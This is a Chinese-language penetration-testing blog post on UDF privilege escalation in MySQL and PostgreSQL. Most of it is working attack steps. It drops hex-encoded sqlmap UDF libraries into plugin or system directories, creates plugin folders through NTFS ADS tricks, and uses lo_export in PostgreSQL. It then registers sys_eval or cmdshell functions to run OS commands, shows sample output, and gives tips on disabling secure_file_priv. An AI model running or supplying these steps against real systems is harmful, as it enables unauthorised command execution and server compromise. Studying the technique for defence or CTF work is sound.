UDF提权In-MySQL-And-Postgresql
in PENETRATION with 0 comment

UDF提权In-MySQL-And-Postgresql

in PENETRATION with 0 comment

UDF

UDF即user-defined-function,是MySQL的一个拓展接口,称为用户自定义函数,是用来拓展MySQL的技术手段。用户通过自定义函数来实现在MySQL中无法实现的功能。

三种方法为MySQL添加新函数

  1. 通过用户自定义函数(UDF)接口添加函数。
  2. 将函数添加微本机(内置)MySQL函数。
  3. 创建存储过程创建函数。

这里就详细研究利用用户自定义函数提权相关操作。

Windows下MYSQL-UDF提权

UDF提权条件

  1. MySQL版本大于5.1版本udf.dll文件必须放置于MYSQ安装目录下的libplugin文件夹下
  2. MySQL版本小于5.1版本udf.dll文件在2003下放置于C:windowssystem32
  3. 获取到的账号具备增删改查操作,root账号最佳。其他账号具备root权限。
  4. 写入相应目录具有可写权限。

提权方法

获取数据库版本,数据位置及插件位置信息

select version();//获取数据库版本 
select user();//获取数据库用户 
select @@basedir ;//获取安装目录 
show variables like '%plugins%'; //寻找mysql安装路径 

导出路径

  1. MySQL版本小于5.1
C:\Windows\system32\udf.dll 
  1. MySQL版本大于
MySQL安装路径\lib\plugin\udf.dll

由于该目录默认不存在,需要利用创建这个目录,然后将udf.dll导出到该目录。

创建libplugin 方法:

  1. 利用WebShell创建。
    2.利用NTFS ADS流创建目录:
select @@basedir; //查找到mysql的目录 
 
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录 
 
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录 

创建cmdshell函数

create function cmdshell returns string soname ‘udf.dll’; 

执行命令

select cmdshell(‘whoami’);

删除

drops function cmdshell;//将函数删除

注意点

  1. 在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。
  2. 在MYSQL 4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,
  3. 在MYSQL5.0以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者,简单的理解就是不能是绝对路径。所以将DLL释放到system32目录,来跳过这个限制..或者放到盘符的根目录下通过c:udf.dll这种形式的写法来跳过限制。
  4. MYSQL 5.1及以后的版本中,创建函数时所用的DLL只能放在mysql的plugin目录里面,但这个plugin目录默认不存在。
    MYSQL无法创建目录的, 如果into dumpfile的目标目录不存在则会报错。

常见错误解决

修改my.ini

 The MySQL server is running with the --secure-file-priv option so it cannot execute this statement 

在my.ini 或者mysql.cnf 文件中注释(#)包含secure_file_priv的行。

Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option

将my.ini中的skip-grant-tables选项去掉。

导出的SQL语句

create table a (cmd LONGBLOB);

insert into a (cmd) values (hex(load_file('D:\\Program Files\\MySQL\\MySQL Server 5.0\\Lib\\Plugin\\lib_mysqludf_sys.dll'))); 

SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\udf.dll';

create function sys_eval returns string soname 'udf.dll'

select sys_eval('ipconfig');

传说中的udf提权select语句

https://blog.csdn.net/u012795264/article/details/53069689

linux 下的udf提权

要求

1,在MySQL库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止;
2,SQL具有权限,root权限
3,导出目录可写

方式

获取插件路径

mysql> show variables like "%plugin%";
+---------------+-----------------------+
| Variable_name | Value         |
+---------------+-----------------------+
| plugin_dir  | /usr/lib/mysql/plugin |
+---------------+-----------------------+
1 row in set (0.00 sec)

获取udf库文件

在sqlmap中获取udf库文件

root@kali:/pentest/sqlmap/udf/mysql# ls
linux windows
root@kali:/pentest/sqlmap/udf/mysql/linux# ls
32 64
root@kali:/pentest/sqlmap/udf/mysql/linux/64# ls
lib_mysqludf_sys.so

在SQL中加载库文件

获取库文件的16进制

mysql> select hex(load_file('/pentest/database/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';
Query OK, 1 row affected (0.04 sec)

写入udf库到mysql目录

mysql> select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';
Query OK, 1 row affected (0.04 sec)

加载函数执行

mysql> create function sys_eval returns string soname "mysqludf.so";
Query OK, 0 rows affected (0.14 sec)
  
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql       |
+--------------------+
1 row in set (0.04 sec)
  
mysql> select * from mysql.func;
+----------+-----+-------------+----------+
| name   | ret | dl     | type   |
+----------+-----+-------------+----------+
| sys_eval |  0 | mysqludf.so | function |
+----------+-----+-------------+----------+
1 row in set

postgresql UDF提权

这个在强网杯中国年遇到了

SELECT lo_create(9023);

insert into pg_largeobject values (9023, 0, decode('7f454c4602010100000000000000000003003e0001000000000d0000000000004000000000000000e8210000000000000000000040003800070040001a00190001000000050000000000000000000000000000000000000000000000000000004c140000000000004c1400000000000000002000000000000100000006000000f81d000000000000f81d200000000000f81d200000000000d802000000000000e0020000000000000000200000000000020000000600', 'hex'));
insert into pg_largeobject values (9023, 1, decode('xxx', 'hex'));
insert into pg_largeobject values (9023, 2, decode('xxx', 'hex'));
insert into pg_largeobject values (9023, 3, decode('xxx', 'hex'));
insert into pg_largeobject values (9023, 4, decode('xxx', 'hex'));
insert into pg_largeobject values (9023, 5, decode('xxx', 'hex'));

SELECT lo_export(9023, '/tmp/testeval.so');

执行命令:
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

select sys_eval('id');
drop function sys_eval

参考文章

http://www.91ri.org/3981.html
https://blog.csdn.net/u012795264/article/details/53069689
https://blog.csdn.net/wulex/article/details/54868131
https://www.cnblogs.com/iamstudy/articles/2th_qiangwangbei_ctf_writeup.html
http://www.jb51.net/article/51767.htm
http://netsecurity.51cto.com/art/201703/534004.htm

Responses